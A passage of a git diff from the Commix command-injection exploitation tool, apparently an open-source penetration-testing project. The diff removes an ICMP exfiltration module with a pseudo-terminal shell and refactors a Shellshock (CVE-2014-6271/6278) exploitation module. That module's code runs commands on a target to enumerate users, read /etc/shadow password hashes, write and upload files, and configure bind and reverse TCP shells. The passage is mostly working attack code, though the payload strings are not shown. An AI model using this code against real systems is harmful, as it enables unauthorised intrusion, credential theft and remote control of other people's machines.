settings.print_payload(payload) + "\n") - if not menu.options.data: - url = url.replace(settings.INJECT_TAG, "") - data = payload.replace(" ", "%20") - req = url + data - else: - values = {vuln_parameter:payload} - data = _urllib.parse.urlencode(values).encode(settings.UNICODE_ENCODING) - request = _urllib.request.Request(url=url, data=data) - - try: - sys.stdout.write(Fore.GREEN + Style.BRIGHT + "\n") - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - time.sleep(3) - sys.stdout.write(Style.RESET_ALL) - if add_new_line: - print("\n") - add_new_line = True - else: - print(settings.SINGLE_WHITESPACE) - - except _urllib.error.HTTPError as err_msg: - print(settings.print_critical_msg(str(err_msg.code))) - raise SystemExit() - - except _urllib.error.URLError as err_msg: - print(settings.print_critical_msg(str(err_msg.args[0]).split("] ")[1] + ".")) - raise SystemExit() - - except _http_client.InvalidURL as err: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - -def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique): - - err_msg = "" - if menu.enumeration_options(): - err_msg += "enumeration" - if menu.file_access_options(): - if err_msg != "": - err_msg = err_msg + " and " - err_msg = err_msg + "file-access" - - if err_msg != "": - warn_msg = "The " + err_msg + " options are not supported " - warn_msg += "by this module because of the structure of the exfiltrated data. " - warn_msg += "Please try using any unix-like commands manually." - print(settings.print_warning_msg(warn_msg)) - - # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True: - if go_back == True: - break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell= "Y" - if gotshell in settings.CHOICE_YES: - print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - try: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - if cmd.lower() == "quit" or cmd.lower() == "back": - print(settings.SINGLE_WHITESPACE) - os._exit(0) - elif cmd.lower() == "?": - menu.os_shell_options() - elif cmd.lower() == "os_shell": - warn_msg = "You are already into the '" + cmd.lower() + "' mode." - print(settings.print_warning_msg(warn_msg))+ "\n" - elif cmd.lower() == "reverse_tcp": - warn_msg = "This option is not supported by this module." - print(settings.print_warning_msg(warn_msg))+ "\n" - else: - # Command execution results. - cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src) - except KeyboardInterrupt: - os._exit(1) - except: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - elif gotshell in settings.CHOICE_NO: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - elif gotshell in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - - -def exploitation(ip_dst, ip_src, url, http_request_method, vuln_parameter, technique): - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - signal.signal(signal.SIGINT, signal_handler) - sniffer_thread = threading.Thread(target=snif, args=(ip_dst, ip_src, )).start() - time.sleep(2) - if menu.options.os_cmd: - cmd = menu.options.os_cmd - cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src) - print(settings.SINGLE_WHITESPACE) - os._exit(0) - else: - input_cmd(http_request_method, url, vuln_parameter, ip_src, technique) - -def icmp_exfiltration_handler(url, http_request_method): - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # You need to have root privileges to run this script - if os.geteuid() != 0: - err_msg = "You need to have root privileges to run this option." - print(settings.print_critical_msg(err_msg) + "\n") - os._exit(0) - - if not menu.options.data: - #url = parameters.do_GET_check(url, http_request_method) - request = _urllib.request.Request(url) - headers.do_check(request) - vuln_parameter = parameters.vuln_GET_param(url) - - else: - parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) - parameter = parameters.do_POST_check(parameter, http_request_method) - request = _urllib.request.Request(url, parameter) - headers.do_check(request) - vuln_parameter = parameters.vuln_POST_param(parameter, url) - - # Check if defined any HTTP Proxy. - if menu.options.proxy: - try: - response = proxy.use_proxy(request) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - os._exit(0) - - # Check if defined Tor. - elif menu.options.tor: - try: - response = tor.use_tor(request) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - os._exit(0) - - else: - try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - os._exit(0) - - if settings.TARGET_OS == "win": - err_msg = "This module's payloads are not suppoted by " - err_msg += "the identified target operating system." - print(settings.print_critical_msg(err_msg) + "\n") - os._exit(0) - - else: - technique = "ICMP exfiltration module" - info_msg ="Loading the " + technique + ". \n" - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - - ip_data = menu.options.ip_icmp_data - - # Source IP address - ip_src = re.findall(r"ip_src=(.*),", ip_data) - ip_src = ''.join(ip_src) - - # Destination IP address - ip_dst = re.findall(r"ip_dst=(.*)", ip_data) - ip_dst = ''.join(ip_dst) - - exploitation(ip_dst, ip_src, url, http_request_method, vuln_parameter, technique) - -if __name__ == "__main__": - icmp_exfiltration_handler(url, http_request_method) - -# eof \ No newline at end of file diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py index 7772327969..c40006c673 100644 --- a/src/core/modules/modules_handler.py +++ b/src/core/modules/modules_handler.py @@ -3,13 +3,13 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -25,30 +25,6 @@ """ def load_modules(url, http_request_method, filename): - # Check if defined the ICMP exfiltration module - if menu.options.ip_icmp_data : - try: - # The ICMP exfiltration module - from src.core.modules.icmp_exfiltration import icmp_exfiltration - # The ICMP exfiltration handler - icmp_exfiltration.icmp_exfiltration_handler(url, http_request_method) - except ImportError as err_msg: - print("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() - raise SystemExit() - - # Check if defined the DNS exfiltration module - if menu.options.dns_server : - try: - # The DNS exfiltration module - from src.core.modules.dns_exfiltration import dns_exfiltration - # The DNS exfiltration handler - dns_exfiltration.dns_exfiltration_handler(url, http_request_method) - except ImportError as err_msg: - print("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() - raise SystemExit() - # Check if defined the shellshock module if menu.options.shellshock : try: @@ -57,6 +33,6 @@ def load_modules(url, http_request_method, filename): # The shellshock handler shellshock.shellshock_handler(url, http_request_method, filename) except ImportError as err_msg: - print("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() - raise SystemExit() \ No newline at end of file + settings.print_data_to_stdout("\n" + settings.print_critical_msg(err_msg)) + raise SystemExit() + raise SystemExit() \ No newline at end of file diff --git a/src/core/modules/shellshock/__init__.py b/src/core/modules/shellshock/__init__.py index b50e6972c9..4a4e6d4eec 100644 --- a/src/core/modules/shellshock/__init__.py +++ b/src/core/modules/shellshock/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index a112c970c1..c4223d375f 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -8,10 +8,10 @@ from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import http_client as _http_client +from src.utils import common from src.utils import menu from src.utils import logs from src.utils import settings -from src.core.requests import tor from src.core.requests import proxy from src.thirdparty.colorama import Fore, Back, Style, init from src.core.shells import bind_tcp @@ -21,6 +21,12 @@ from src.core.injections.controller import checks default_user_agent = menu.options.agent +default_cookie = "" + +if menu.options.cookie: + if settings.INJECT_TAG in menu.options.cookie: + menu.options.cookie = menu.options.cookie.replace(settings.INJECT_TAG , "") + default_cookie = menu.options.cookie """ This module exploits the vulnerabilities CVE-2014-6271 [1], CVE-2014-6278 [2] in Apache CGI. @@ -28,12 +34,13 @@ [2] CVE-2014-6278: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278 """ -# Available HTTP headers -headers = [ -"User-Agent", -"Referer", -"Cookie" -] +if settings.MULTI_TARGETS or settings.STDIN_PARSING: + if settings.COOKIE_INJECTION: + settings.COOKIE_INJECTION = None + if settings.USER_AGENT_INJECTION: + settings.USER_AGENT_INJECTION = None + if settings.REFERER_INJECTION: + settings.REFERER_INJECTION = None # Available Shellshock CVEs shellshock_cves = [ @@ -61,35 +68,56 @@ def shellshock_exploitation(cve, cmd): payload = shellshock_payloads(cve, attack_vector) return payload +""" +Print percentage calculation +""" +def print_percentage(no_result, response_info, cve, float_percent): + if float(float_percent) == 100: + if no_result == True: + percent = settings.FAIL_STATUS + else: + percent = settings.info_msg + no_result = False + elif len(response_info) > 0 and cve in response_info: + percent = settings.info_msg + no_result = False + else: + percent = str(float_percent)+ "%" + return percent, no_result + """ Enumeration Options """ def enumeration(url, cve, check_header, filename): - - #------------------------------- - # Hostname enumeration - #------------------------------- + _ = False if menu.options.hostname: + checks.print_enumenation().hostname_msg() cmd = settings.HOSTNAME shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: - info_msg = "The hostname is " + str(shell) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The hostname is " + str(shell) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) + checks.print_hostname(shell, filename, _) + settings.ENUMERATION_DONE = True + + if menu.options.current_user: + checks.print_enumenation().current_user_msg() + cmd = settings.CURRENT_USER + cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename) + if cu_account: + checks.print_current_user(cu_account, filename, _) + settings.ENUMERATION_DONE = True + + if menu.options.is_root: + checks.print_enumenation().check_privs_msg() + cmd = re.findall(r"" + r"\$(.*)", settings.IS_ROOT) + cmd = ''.join(cmd) + cmd = checks.remove_parenthesis(cmd) + shell, payload = cmd_exec(url, cmd, cve, check_header, filename) + if shell: + checks.print_current_user_privs(shell, filename, _) settings.ENUMERATION_DONE = True - #------------------------------- - # Retrieve system information - #------------------------------- if menu.options.sys_info: + checks.print_enumenation().os_info_msg() cmd = settings.RECOGNISE_OS target_os, payload = cmd_exec(url, cmd, cve, check_header, filename) if target_os: @@ -97,247 +125,28 @@ def enumeration(url, cve, check_header, filename): cmd = settings.DISTRO_INFO distro_name, payload = cmd_exec(url, cmd, cve, check_header, filename) if len(distro_name) != 0: - target_os = target_os + " (" + distro_name + ")" + target_os = target_os + settings.SINGLE_WHITESPACE + distro_name cmd = settings.RECOGNISE_HP target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename) - if target_arch: - info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - info_msg = "The target operating system is " + target_os - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to retrieve the system information." - print(settings.print_warning_msg(warn_msg)) + checks.print_os_info(target_os, target_arch, filename, _) settings.ENUMERATION_DONE = True - #------------------------------- - # The current user enumeration - #------------------------------- - if menu.options.current_user: - cmd = settings.CURRENT_USER - cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename) - if cu_account: - if menu.options.is_root: - cmd = re.findall(r"" + "\$(.*)", settings.IS_ROOT) - cmd = ''.join(cmd).replace("(","").replace(")","") - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - if shell: - if shell != "0": - sys.stdout.write(Style.BRIGHT + " and it is" + " not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" and it is not privileged.\n") - output_file.close() - else: - sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" and it is privileged.\n") - output_file.close() - else: - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the current user." - print(settings.print_warning_msg(warn_msg)) - settings.ENUMERATION_DONE = True - - #------------------------------- - # System users enumeration - #------------------------------- if menu.options.users: - cmd = settings.SYS_USERS + checks.print_enumenation().print_users_msg() + cmd = settings.SYS_USERS + cmd = checks.remove_command_substitution(cmd) sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename) - info_msg = "Fetching '" + settings.PASSWD_FILE - info_msg += "' to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : - sys_users = sys_users.split("\n") - else: - sys_users = sys_users.split(" ") - # Check for appropriate '/etc/passwd' format. - if len(sys_users) % 3 != 0 : - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that '" + settings.PASSWD_FILE - warn_msg += "' file is not in the appropriate format. Thus, it is expoted as a text file." - print("\n" + settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users).strip() - print(sys_users) - output_file = open(filename, "a") - output_file.write(" " + sys_users) - output_file.close() - else: - sys_users_list = [] - for user in range(0, len(sys_users), 3): - sys_users_list.append(sys_users[user : user + 3]) - if len(sys_users_list) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - sys_users = sys_users_list[user] - sys_users = ":".join(str(p) for p in sys_users) - count = count + 1 - fields = sys_users.split(":") - fields1 = "".join(str(p) for p in fields) - # System users privileges enumeration - try: - if not fields[2].startswith("/"): - raise ValueError() - if menu.options.privileges: - if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " - is_privileged_nh = " is root user " - elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " - is_privileged_nh = " is system user " - elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : - if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " - is_privileged_nh = " is anonymous user " - elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - else : - is_privileged = "" - is_privileged_nh = "" - print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() - except ValueError: - if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE - warn_msg += "' file is not in the appropriate format. " - warn_msg += "Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) - output_file = open(filename, "a") - output_file.write(" " + sys_users) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) - except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() - pass - - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - pass + if sys_users: + checks.print_users(sys_users, filename, _, alter_shell=False) settings.ENUMERATION_DONE = True - #------------------------------------- - # System password enumeration - #------------------------------------- if menu.options.passwords: - cmd = settings.SYS_PASSES + checks.print_enumenation().print_passes_msg() + cmd = settings.SYS_PASSES + cmd = checks.remove_command_substitution(cmd) sys_passes, payload = cmd_exec(url, cmd, cve, check_header, filename) if sys_passes : - sys_passes = "".join(str(p) for p in sys_passes) - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split( ) - if len(sys_passes) != 0 : - info_msg = "Fetching '" + settings.SHADOW_FILE - info_msg += "' to enumerate users password hashes. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1] + Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() - # Check for appropriate (/etc/shadow) format - except IndexError: - if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE - warn_msg += "' file is not in the appropriate format. " - warn_msg += "Thus, it is expoted as a text file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - print(fields[0]) - output_file = open(filename, "a") - output_file.write(" " + fields[0]) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." - print(settings.print_warning_msg(warn_msg)) + checks.print_passes(sys_users, filename, _, alter_shell=False) settings.ENUMERATION_DONE = True """ @@ -345,168 +154,55 @@ def enumeration(url, cve, check_header, filename): """ def file_access(url, cve, check_header, filename): - #------------------------------------- - # Write to a file on the target host. - #------------------------------------- if menu.options.file_write: - file_to_write = menu.options.file_write - if not os.path.exists(file_to_write): - warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - - if os.path.isfile(file_to_write): - with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] - content = "".join(str(p) for p in content).replace("'", "\"") - else: - warn_msg = "It seems that '" + file_to_write + "' is not a file." - sys.stdout.write(settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - settings.FILE_ACCESS_DONE = True - - #------------------------------- - # Check the file-destination - #------------------------------- - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] - else: - dest_to_write = menu.options.file_dest - - # Execute command - cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" + file_to_write, dest_to_write, content = checks.check_file_to_write() + cmd = checks.write_content(content, dest_to_write) shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - - # Check if file exists! - cmd = "ls " + dest_to_write + "" - # Check if defined cookie injection. + cmd = checks.check_file(dest_to_write) + cmd = checks.remove_command_substitution(cmd) shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if shell: - info_msg = "The " + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + " file was created successfully!" - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - else: - warn_msg = "It seems that you don't have permissions to write the '" - warn_msg += dest_to_write + "' file." + "\n" - sys.stdout.write(settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + checks.file_write_status(shell, dest_to_write) settings.FILE_ACCESS_DONE = True - #------------------------------------- - # Upload a file on the target host. - #------------------------------------- if menu.options.file_upload: - file_to_upload = menu.options.file_upload - # check if remote file exists. - try: - _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as warn_msg: - warn_msg = "It seems that the '" + file_to_upload + "' file, " - warn_msg += "does not exist. (" + str(warn_msg) + ")\n" - sys.stdout.write(settings.print_critical_msg(warn_msg)) - sys.stdout.flush() - raise SystemExit() - except ValueError as err_msg: - err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - - # Check the file-destination - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] - else: - dest_to_upload = menu.options.file_dest - - # Execute command - cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload + cmd, dest_to_upload = checks.check_file_to_upload() shell, payload = cmd_exec(url, cmd, cve, check_header, filename) shell = "".join(str(p) for p in shell) - - # Check if file exists! - cmd = "ls " + dest_to_upload + cmd = checks.check_file(dest_to_upload) + cmd = checks.remove_command_substitution(cmd) shell, payload = cmd_exec(url, cmd, cve, check_header, filename) shell = "".join(str(p) for p in shell) - if shell: - info_msg = "The " + shell - info_msg += Style.RESET_ALL + Style.BRIGHT - info_msg += " file was uploaded successfully!\n" - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to write the '" + dest_to_upload + "' file.\n" - sys.stdout.write(settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + checks.file_upload_status(shell, dest_to_upload) settings.FILE_ACCESS_DONE = True - #------------------------------------- - # Read a file from the target host. - #------------------------------------- if menu.options.file_read: - file_to_read = menu.options.file_read - # Execute command - cmd = "cat " + settings.FILE_READ + file_to_read + cmd, file_to_read = checks.file_content_to_read() + cmd = checks.remove_command_substitution(cmd) shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if shell: - info_msg = "The contents of file '" - info_msg += file_to_read + "'" + Style.RESET_ALL + ": " - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - print(shell) - output_file = open(filename, "a") - info_msg = "The contents of file '" - info_msg += file_to_read + "' : " + shell + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file.\n" - sys.stdout.write(settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + checks.file_read_status(shell, file_to_read, filename) settings.FILE_ACCESS_DONE = True - if settings.FILE_ACCESS_DONE == True: - print(settings.SINGLE_WHITESPACE) - """ Execute the bind / reverse TCP shell """ def execute_shell(url, cmd, cve, check_header, filename, os_shell_option): - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - - err_msg = "The " + os_shell_option.split("_")[0] + " " - err_msg += os_shell_option.split("_")[1].upper() + " connection has failed." - print(settings.print_critical_msg(err_msg)) """ Configure the bind TCP shell """ def bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again): - settings.BIND_TCP = True # Set up RHOST / LPORT for the bind TCP connection. bind_tcp.configure_bind_tcp(separator = "") - if settings.BIND_TCP == False: if settings.REVERSE_TCP == True: os_shell_option = "reverse_tcp" reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) return go_back, go_back_again - while True: if settings.RHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_bind_tcp_options(settings.RHOST) - else: cmd = bind_tcp.bind_tcp_options(separator = "") result = checks.check_bind_tcp_options(cmd) @@ -517,7 +213,6 @@ def bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http go_back_again = True settings.BIND_TCP = False return go_back, go_back_again - # execute bind TCP shell execute_shell(url, cmd, cve, check_header, filename, os_shell_option) @@ -525,17 +220,14 @@ def bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http Configure the reverse TCP shell """ def reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again): - settings.REVERSE_TCP = True # Set up LHOST / LPORT for the reverse TCP connection. reverse_tcp.configure_reverse_tcp(separator = "") - if settings.REVERSE_TCP == False: if settings.BIND_TCP == True: os_shell_option = "bind_tcp" bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) return go_back, go_back_again - while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options(settings.LHOST) @@ -549,21 +241,22 @@ def reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, h go_back_again = True settings.REVERSE_TCP = False return go_back, go_back_again - # execute bind TCP shell execute_shell(url, cmd, cve, check_header, filename, os_shell_option) """ Check commix shell options """ -def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again): - +def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again,no_result): if os_shell_option == False: if no_result == True: return False else: return True + if os_shell_option == None: + return go_back, go_back_again + # The "back" option elif os_shell_option == "back": go_back = True @@ -571,8 +264,9 @@ def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_r # The 